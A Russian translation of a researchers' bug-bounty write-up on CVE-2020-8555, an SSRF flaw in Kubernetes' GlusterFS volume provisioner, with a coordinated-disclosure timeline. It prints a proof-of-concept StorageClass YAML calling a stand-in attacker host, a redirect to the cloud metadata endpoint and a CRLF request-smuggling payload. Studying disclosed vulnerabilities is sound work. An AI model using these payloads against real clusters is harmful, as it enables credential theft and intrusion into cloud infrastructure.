company_banner

Когда дело не только в уязвимости в Kubernetes…

Автор оригинала: Brice Augras, Christophe Hauquiert
  • Перевод
Прим. перев.: авторы этой статьи в подробностях рассказывают о том, как им удалось обнаружить уязвимость CVE-2020–8555 в Kubernetes. Хотя изначально она и выглядела не очень опасной, в сочетании с другими факторами её критичность у некоторых облачных провайдеров оказалась максимальной. За проведённую работу специалистов щедро вознаградили сразу несколько организаций.



Кто мы такие


Мы — два французских исследователя в области безопасности, которые совместно обнаружили уязвимость в Kubernetes. Нас зовут Brice Augras и Christophe Hauquiert, но на многих Bug Bounty-платформах мы известны как Reeverzax и Hach соответственно:


Что произошло?


Эта статья — наш способ рассказать о том, как рядовой исследовательский проект неожиданно превратился в самое увлекательное приключение в жизни охотников за багами (по крайней мере, на данный момент).

Как вам, наверное, известно, у охотников за багами есть пара примечательных особенностей:

  • они живут на пиццах и пиве;
  • они работают тогда, когда все остальные спят.

Мы не исключение из этих правил: обычно встречаемся в выходные дни и проводим бессонные хакерские ночи. Но одна из таких ночей закончилась весьма необычно.

Изначально мы собирались встретиться, чтобы обсудить участие в CTF на следующий день. Во время беседы о безопасности Kubernetes в управляемой сервисной среде вспомнили о старой идее SSRF (Server-Side Request Forgery) и решили попробовать использовать ее в качестве сценария атаки.

В 11 вечера сели за исследования, а спать отправились рано утром, весьма удовлетворенные результатами. Именно из-за этих исследований мы наткнулись на программу MSRC Bug Bounty и придумали эксплойт с эскалацией привилегий.

Прошло несколько недель/месяцев, и наш неожиданный результат позволил получить одну из самых высоких наград в истории Azure Cloud Bug Bounty — в дополнение к той, которую мы получили от Kubernetes!

По мотивам нашего исследовательского проекта комитет Kubernetes Product Security Committee опубликовал CVE-2020–8555.

Теперь хотелось бы как можно больше распространить информацию о найденной уязвимости. Надеемся, вы оцените находку и поделитесь техническими подробностями с другими членами infosec-сообщества!

Итак, вот наша история…

Контекст


Чтобы максимально полно довести смысл произошедшего, давайте сначала рассмотрим, как Kubernetes работает в условиях облачной управляемой среды.

Когда вы создаете экземпляр кластера Kubernetes в такой среде, за работу управляющего слоя обычно отвечает поставщик облачных услуг:


Управляющий слой располагается в периметре облачного провайдера, в то время как узлы Kubernetes находятся в периметре клиента

Для динамического выделения томов используется механизм их динамического предоставления из внешнего storage-бэкенда и сопоставления с PVC (persistent volume claim, т.е. запросом на том).

Таким образом, после того, как PVC создан и привязан к StorageClass'у в кластере K8s, дальнейшие действия по предоставлению тома берет на себя kube/cloud controller manager (его точное название зависит от релиза). (Прим. перев.: Подробнее про CCM на примере его реализации для одного из облачных провайдеров мы уже писали здесь.)

Существует несколько разновидностей provisioner'ов, поддерживаемых Kubernetes: большинство из них включены в ядро оркестратора, а другие управляются дополнительными provisioner'ами, которые размещаются в pod'ах в кластере.

В своем исследовании мы сфокусировались на внутреннем механизме предоставления томов, который проиллюстрирован ниже:


Динамическое предоставление томов с использованием встроенного provisioner'а Kubernetes

Если вкратце, когда Kubernetes развернут в управляемой среде, за работу controller manager'а отвечает поставщик облачных услуг, но запрос на создание тома (номер 3 на схеме выше) покидает пределы внутренней сети облачного провайдера. И вот тут-то ситуация становится по-настоящему интересной!

Сценарий взлома


В этом разделе мы расскажем, как воспользовались упомянутым выше рабочим процессом и получили доступ ко внутренним ресурсам поставщика облачных услуг. Кроме того, будет показано, как можно осуществить определенные действия — например, получить внутренние учетные данные или провести эскалацию привилегий.

Одна простая манипуляция (в данном случае это Service Side Request Forgery) помогла выйти за пределы клиентской среды в кластерах различных поставщиков услуг по управляемому K8s.

В своих исследованиях мы сосредоточились на provisioner'е GlusterFS. Несмотря на то, что дальнейшая последовательность действий описана в таком контексте, этой же уязвимости подвержены Quobyte, StorageOS и ScaleIO.


Злоупотребление механизмом динамического предоставления томов

Во время анализа класса хранилищ GlusterFS в исходниках клиента на Golang мы заметили, что при первом HTTP-запросе (3), отправленном во время создания тома, к концу пользовательского URL в параметре resturl добавляется /volumes.

Избавиться от этого дополнительного пути мы решили добавлением # в параметр resturl. Вот первая YAML-конфигурация, которую мы использовали для проверки на наличие «полуслепой» SSRF-уязвимости (подробнее про semi-blind или half-blind SSRF можно прочитать, например, здесь — прим. перев.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Затем для удаленного управления кластером Kubernetes воспользовались бинарником kubectl. Как правило, облачные провайдеры (Azure, Google, AWS и т д.) позволяют получить учетные данные для их использования в этой утилите.

Благодаря этому и получилось применить свой «особенный» файл. Kube-controller-manager выполнил результирующий HTTP-запрос:

kubectl create -f sc-poc.yaml


Ответ с точки зрения атакующего

Вскоре после этого мы также смогли получить HTTP-ответ от целевого сервера — через команды describe pvc или get events в kubectl. И действительно: этот драйвер Kubernetes по умолчанию слишком многословен в своих предупреждениях/сообщениях об ошибках…

Вот пример с ссылкой на https://www.google.fr, установленной в качестве параметра resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events



В рамках такого подхода мы были ограничены запросами типа HTTP POST и не могли получить содержимое тела ответа, если возвращаемый код был 201. Поэтому решили провести дополнительные исследования и расширили этой сценарий взлома новыми подходами.

Эволюция наших исследований


  • Продвинутый сценарий №1: использование 302-го редиректа со внешнего сервера для изменения метода HTTP, чтобы получить более гибкий способ сбора внутренних данных.
  • Продвинутый сценарий №2: автоматизация сканирования LAN и обнаружения внутренних ресурсов.
  • Продвинутый сценарий №3: использование HTTP CRLF + smuggling («контрабанды» запросов) для создания адаптированных HTTP-запросов и получения данных, извлеченных из логов kube-controller'а.

Технические спецификации


  • В исследованиях использовался Azure Kubernetes Service (AKS) с Kubernetes версии 1.12 в регионе North Europe.
  • Описанные выше сценарии выполнялись на последних релизах Kubernetes за исключением третьего сценария, т.к. ему требовался Kubernetes, собранный с Golang версии ≤ 1.12.
  • Внешний сервер атакующего — https://attacker.com.

Продвинутый сценарий №1: редирект HTTP-запроса POST в GET и получение конфиденциальных данных


Изначальный способ был улучшен конфигурацией сервера злоумышленника на возврат 302 HTTP Retcode, чтобы конвертировать POST-запрос в GET-запрос (шаг 4 на схеме):



Первый запрос (3), исходящий от клиента GlusterFS (Controller Manager), имеет тип POST. Выполнив следующие шаги, мы смогли превратить его в GET:

  • В качестве параметра resturl в StorageClass указывается http://attacker.com/redirect.php.
  • Endpoint https://attacker.com/redirect.php отвечает статус-кодом 302 HTTP со следующим Location Header'ом: http://169.254.169.254. Это может быть любой другой внутренний ресурс — в данном случае redirect-ссылка используется исключительно в качестве примера.
  • По умолчанию библиотека net/http Golang'а перенаправляет запрос и конвертирует POST в GET с 302-м статус-кодом, в результате чего на целевой ресурс поступает HTTP-запрос GET.

Чтобы прочитать тело HTTP-ответа, нужно сделать describe объекта PVC:

kubectl describe pvc xxx

Вот пример HTTP-ответа в формате JSON, который нам удалось получить:



Возможности найденной уязвимости на тот момент были ограничены из-за следующих моментов:

  • Невозможность вставить HTTP-заголовки в исходящий запрос.
  • Невозможность выполнять POST-запрос с параметрами в теле (так удобно запрашивать значение ключа у экземпляра etcd, работающего на 2379 порту, если используется незашифрованный HTTP).
  • Невозможность получить содержимое тела ответа, когда статус-код был равен 200 и ответ не имел JSON Content-Type.

Продвинутый сценарий №2: сканирование локальной сети


Этот метод half-blind SSRF затем использовался для сканирования внутренней сети поставщика облачных услуг и опроса различных слушающих сервисов (экземпляр Metadata, Kubelet, etcd и т.д.) на основе ответов kube controller'а.



Сперва были определены стандартные слушающие порты компонентов Kubernetes (8443, 10250, 10251 и т.д.), а затем пришлось автоматизировать процесс сканирования.

Видя, что данный способ сканирования ресурсов очень специфичен и не совместим с классическими сканерами и SSRF-инструментами, мы решили создать собственные worker'ы в bash-скрипте, которые автоматизируют весь процесс.

Например, чтобы быстрее просканировать диапазон 172.16.0.0/12 внутренней сети, параллельно запускались 15 worker'ов. Вышеуказанный диапазон IP был выбран исключительно в качестве примера и может быть изменен на IP-диапазон конкретного поставщика услуг.

Чтобы просканировать один IP-адрес и один порт, необходимо сделать следующее:

  • удалить проверенный в прошлый раз StorageClass;
  • удалить предыдущий проверенный Persistent Volume Claim;
  • изменить значения IP и Port в sc.yaml;
  • создать StorageClass с новым IP и портом;
  • создать новый PVC;
  • извлечь результаты сканирования с помощью describe'а для PVC.

Продвинутый сценарий №3: инъекция CRLF + smuggling HTTP в «старых» версиях кластера Kubernetes


Если в дополнение к этому провайдер предлагал клиентам старые версии кластера K8s и открывал им доступ к логам kube-controller-manager’а, эффект становился еще значительнее.

Злоумышленнику действительно гораздо удобнее менять по своему усмотрению HTTP-запросы, предназначенные для получения полного HTTP-ответа.



Для реализации последнего сценария должны были выполняться следующие условия:

  • Пользователь должен иметь доступ к логам kube-controller-manager (как, например, в Azure LogInsights).
  • Кластер Kubernetes должен использовать версию Golang ниже 1.12.

Мы развернули локальное окружение, имитирующее обмен данными между Go-клиентом GlusterFS и поддельным целевым сервером (пока воздержимся от публикации PoC).

Была обнаружена уязвимость, затрагивающая версии Golang ниже 1.12 и позволявшая хакерам проводить атаки типа HTTP smuggling/CRLF.

Объединив описанную выше half-blind SSRF вместе с этой, мы смогли посылать запросы по своему вкусу, включая замену заголовков, метода HTTP, параметров и данных, которые kube-controller-manager затем обрабатывал.

Вот пример рабочей «наживки» в параметре resturl StorageClass'а, которая реализует подобный сценарий атаки:

http://172.31.X.1:10255/healthz? HTTP/1.1\r\nConnection: keep-
alive\r\nHost: 172.31.X.1:10255\r\nContent-Length: 1\r\n\r\n1\r\nGET /pods? HTTP/1.1\r\nHost: 172.31.X.1:10255\r\n\r\n

В результате возникает ошибка unsolicited response, сообщение о которой записывается в логи контроллера. Благодаря включенной по умолчанию «многословности» туда же сохраняется и содержимое ответного HTTP-сообщения.



Это была наша самая результативная «наживка» в рамках proof of concept.

Используя такой подход, мы смогли провести некоторые из следующих атак в кластерах различных поставщиков managed k8s: эскалация привилегий с получением учетных данных на metadata-инстансах, DoS мастера с помощью (незашифрованных) HTTP-запросов на мастер-экземплярах etcd и т.п.

Последствия


В официальном заявлении Kubernetes по поводу обнаруженной нами SSRF-уязвимости ей был присвоен рейтинг CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Если рассматривать только уязвимость, связанную с периметром Kubernetes, вектор целостности (integrity vector) в ней квалифицируется как None.

Однако оценка возможных последствий в контексте управляемого сервисного окружения (и это была самая интересная часть нашего исследования!) побудила нас переквалифицировать уязвимость на рейтинг Critical CVSS10/10 для многих дистрибьюторов.

Ниже приведена дополнительная информация, которая поможет понять, чем мы руководствовались при оценке возможных последствий в облачных окружениях:

Целостность


  • Удаленное выполнение команд с помощью полученных внутренних учетных данных.
  • Воспроизведение вышеописанного сценария методом IDOR (Insecure Direct Object Reference, т.е. небезопасных прямых ссылок на объекты) с другими ресурсами, обнаруженными в локальной сети.

Конфиденциальность


  • Атака типа Lateral Movement благодаря краже облачных учетных данных (например, metadata API).
  • Сбор информации с помощью сканирования локальной сети (определение версии SSH, версии HTTP-сервера, …).
  • Сбор информации об экземплярах и инфраструктуре путем опроса внутренних API, таких как metadata API (http://169.254.169.254, …).
  • Кража данных клиентов с помощью облачных учетных данных.

Доступность


Все сценарии применения эксплойтов, связанные с векторами атаки на integrity (целостность), могут быть использованы для разрушительных действий и приводить к тому, что мастер-инстансы из клиентского периметра (или любого другого) будут недоступны.

Поскольку мы находились в управляемой среде K8s и оценивали влияние на целостность, можно представить себе множество сценариев, способных повлиять на доступность. В качестве дополнительных примеров приведем повреждение базы данных etcd или выполнение критического вызова к API Kubernetes.

Хронология


  • 6 декабря 2019 г.: отправка сообщения об обнаруженной уязвимости в MSRC Bug Bounty.
  • 3 января 2020: третья сторона проинформировала разработчиков Kubernetes о том, что мы работаем над проблемой в области безопасности. И попросила их рассматривать SSRF как внутренняя (in-core) уязвимость. После этого мы представили общий отчет с техническими подробностями об источнике проблемы.
  • 15 января 2020: мы предоставили разработчикам Kubernetes технический и общий отчеты по их запросу (через платформу HackerOne).
  • 15 января 2020: разработчики Kubernetes известили нас, что half-blind SSRF + инъекция CRLF для прошлых релизов считается уязвимостью in-core. Мы сразу же прекратили анализ периметров других поставщиков услуг: первопричиной теперь занималась команда K8s.
  • 15 января 2020: через HackerOne получено вознаграждение от MSRC.
  • 16 января 2020: Kubernetes PSC (Product Security Committee) признал уязвимость и попросил держать ее в тайне до середины марта из-за большого числа потенциальных жертв.
  • 11 февраля 2020: получено вознаграждение от Google VRP.
  • 4 марта 2020: через HackerOne получено вознаграждение от Kubernetes.
  • 15 марта 2020: первоначально запланированное публичное раскрытие отложено из-за ситуации с COVID-19.
  • 1 июня 2020: совместное заявление Kubernetes + Microsoft об уязвимости.

TL;DR


  • Мы пьем пиво и кушаем пиццу :)
  • Мы обнаружили in-core-уязвимость в Kubernetes, хотя вовсе не собирались этого делать.
  • Мы провели дополнительный анализ в кластерах различных облачных провайдеров и смогли увеличить ущерб, причиняемый уязвимостью, чтобы получить дополнительные обалденные бонусы.
  • В этой статье вы найдете множество технических подробностей. Мы с радостью обсудим их с вами (Twitter: @ReeverZax & @__hach_).
  • Оказалось, что всевозможные формальности и составление отчетов занимают гораздо больше времени, чем ожидалось.

Ссылки



P.S. от переводчика


Читайте также в нашем блоге:

Флант
DevOps-as-a-Service, Kubernetes, обслуживание 24×7

Комментарии 1

    +2
    Очень интересная статья. В целом показывает, как сложность администрирования микросервисов может приводить к серьезным проблемам в безопасности. Отсутствие комментариев хабровчан несколько удивляет: было бы интересно узнать мнение сообщества.

    Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

    Самое читаемое